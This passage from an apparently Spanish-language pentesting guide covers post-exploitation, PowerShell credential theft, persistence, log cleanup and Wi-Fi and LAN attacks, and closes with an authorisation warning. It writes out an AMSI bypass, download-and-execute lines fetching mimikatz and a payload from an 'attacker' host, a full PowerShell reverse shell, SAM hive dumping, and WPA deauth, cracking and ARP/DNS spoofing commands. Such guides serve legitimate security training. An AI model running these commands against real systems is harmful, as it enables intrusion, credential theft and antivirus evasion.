- Abuso de permisos SUID, SGID.
- Cracking de contraseñas locales (shadow file, SAM).
- Shells maliciosas (
reverse_tcp
,bind_tcp
). - Pivoting con
socat
,ssh -D
,proxychains
. - Uso de herramientas como Nishang, Empire, Veil para ofuscación y post-explotación.
9.4 Persistencia, Limpieza y Reporte
Objetivo: Mantener acceso sin ser detectado, eliminar huellas y documentar todo lo realizado.
Acción | Herramientas |
---|---|
Persistencia | Cronjobs, WMI events, usuarios ocultos |
Limpieza | history -c , borrar logs, manipulación de timestomps |
Reporte | PDF/HTML estructurado, capturas, timeline |
9.5 Extras
Túneles SSH dinámicos:
ssh -q -N -D 127.0.0.1:9050 user@host
Uso de proxychains
:
proxychains nmap -sT -Pn target
Uso de herramientas C2 (Command & Control):
10. PowerShell y Post-Explotación en Windows
PowerShell es una poderosa herramienta nativa de administración en Windows, pero también es ampliamente utilizada por pentesters y atacantes para post-explotación, movimiento lateral, recolección de credenciales y evasión de antivirus.
10.1 Fundamentos de PowerShell
PowerShell permite acceso directo a:
- Registros del sistema.
- Servicios, procesos y drivers.
- Red y adaptadores.
- Usuarios, ACLs y permisos.
- WMI y COM para scripting avanzado.
10.2 Comandos Básicos Útiles
Get-LocalUser # Lista usuarios locales
Get-Process # Lista procesos activos
Get-Service # Servicios instalados
Get-WmiObject win32_logicaldisk # Información de discos
ipconfig /all # Ver configuración de red
Get-NetTCPConnection # Conexiones activas
Get-Command # Lista comandos disponibles
Get-Help # Documentación de comandos
10.3 Recolección de Información (Post-Explotación)
Acción | Comando |
---|---|
Usuarios conectados | query user |
Historial de comandos | Get-History o .bash_history |
Programas instalados | Get-WmiObject -Class Win32_Product |
Tareas programadas | schtasks /query /fo LIST /v |
Comparticiones de red | net share |
Carpetas abiertas | openfiles /query |
Información del sistema | systeminfo , hostname , net config workstation |
10.4 Enumeración Avanzada (Red y Dominio)
Listar sesiones abiertas:
Get-NetSession | Format-Table
Usuarios de Active Directory:
Get-ADUser -Filter * | Select-Object Name,SamAccountName
Requiere RSAT Tools o ejecución desde DC o máquina unida al dominio.
10.5 Recolección de Credenciales
SAM + SYSTEM con reg save
:
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive
Mimikatz (PowerShell)
Invoke-WebRequest -Uri http://attacker/mimikatz.exe -OutFile mimikatz.exe
.\mimikatz.exe
Alternativa: usar la versión en PowerShell pura con
Invoke-Mimikatz
.
10.6 Evasión de Antivirus y AMSI
Bypass simple de AMSI:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')::GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Ejecutar payload en memoria (sin escribir en disco):
IEX (New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')
10.7 Herramientas de PowerShell Post-Explotación
Herramienta | Descripción |
---|---|
PowerView | Enumeración de dominio |
PowerUp | Escalado de privilegios |
Sherlock | Buscar vulnerabilidades locales |
Nishang | Colección de scripts ofensivos |
Empire | C2 completo en PowerShell |
Inveigh | Ataques LLMNR/NBT-NS (alternativa a Responder) |
10.8 Reverse Shells en PowerShell
$client = New-Object System.Net.Sockets.TCPClient("192.168.1.10", 4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
}
$client.Close()
10.9 Técnicas de Persistencia
Técnica | Descripción |
---|---|
Registry Run | Agrega clave en HKCU:\Software\Microsoft\Windows\CurrentVersion\Run |
Tareas programadas | schtasks para reactivar acceso |
WMI permanent event subscriptions | Persistencia avanzada sin archivos |
Backdoors en servicios | Modificar binarios de servicios legítimos |
11. Ataques a Redes y Wi-Fi
Esta sección abarca técnicas de análisis, sniffing, y ataques a redes cableadas e inalámbricas, tanto en entornos domésticos como corporativos. Incluye herramientas clásicas y modernas, comandos prácticos, y ejemplos de explotación.
11.1 Fundamentos
Los ataques a redes permiten:
- Interceptar tráfico sensible.
- Capturar credenciales (por ejemplo, hashes NTLM o WPA).
- Desplegar ataques MITM (Man-in-the-Middle).
- Escanear hosts conectados y explotar servicios internos.
11.2 Requisitos para Pentesting Wi-Fi
- Adaptador Wi-Fi con modo monitor (ej: Alfa AWUS036ACH)
- Distribución con soporte (Kali, Parrot, Fedora + herramientas)
- Drivers compatibles (
rtl8812au
,ath9k
, etc.)
11.3 Herramientas Principales para Wi-Fi Hacking
Herramienta | Uso |
---|---|
airmon-ng | Habilita modo monitor |
airodump-ng | Escaneo de redes y captura de handshakes |
aireplay-ng | Inyección de paquetes (deauth, fake auth) |
aircrack-ng | Crackeo de contraseñas WPA/WEP |
hcxdumptool | Captura de PMKID y handshakes WPA2 |
hashcat | Cracking de hashes WPA2, PMKID, NTLM |
bettercap | Framework para MITM en LAN y Wi-Fi |
Wireshark / tcpdump | Sniffing y análisis de tráfico |
hostapd-wpe / roguehostapd | Fake APs para phishing |
EvilAP, Wifiphisher | Ingeniería social sobre Wi-Fi |
Kismet | Sniffer avanzado y mapeo de redes inalámbricas |
Ejemplo: Captura de Handshake WPA2
# 1. Poner adaptador en modo monitor
airmon-ng start wlan0
# 2. Escanear redes
airodump-ng wlan0mon
# 3. Seleccionar objetivo (AP + canal)
airodump-ng -c 6 --bssid XX:XX:XX:XX:XX:XX -w captura wlan0mon
# 4. Inyectar deauth para forzar reconexión
aireplay-ng -0 5 -a XX:XX:XX:XX:XX:XX wlan0mon
# 5. Crackear el handshake capturado
aircrack-ng -w diccionario.txt captura.cap
11.4 Captura de PMKID
Más silencioso y rápido que handshake clásico.
hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1
hcxpcapngtool -o hash.hc22000 -E essidlist.txt pmkid.pcapng
hashcat -m 22000 hash.hc22000 diccionario.txt
11.5 MITM en Redes LAN
Herramienta | Descripción |
---|---|
Bettercap | Ataques ARP spoofing, DNS spoofing, sniffing |
Ettercap | Antiguo pero útil en MITM |
Responder | Captura de hashes NTLM |
mitm6 | Abusa IPv6 para obtener autenticación automática |
11.6 Ataques frecuentes en LAN
ARP Spoofing / Poisoning:
bettercap -iface eth0 -eval "net.probe on; set arp.spoof.targets 192.168.1.10; arp.spoof on"
DNS Spoofing:
set dns.spoof.domains example.com
set dns.spoof.address 192.168.1.100
dns.spoof on
Captura de hashes:
sudo responder -I eth0
12. Recursos para entrenamiento
Plataforma | Características |
---|---|
TryHackMe | Rutas sobre redes, MITM, Wi-Fi |
HackTheBox | Laboratorios avanzados, máquinas vulnerables |
WiFi Pineapple | Hardware especializado para pentesting Wi-Fi |
Kali Nethunter | Entorno ofensivo en Android |
DEF CON Wall of Sheep | Análisis de tráfico de asistentes vulnerables |
Advertencia ética
Todas las pruebas deben realizarse en entornos controlados y con autorización explícita. Atacar redes sin permiso es ilegal.
Nota adicional:
Este post se encuentra en constante actualización.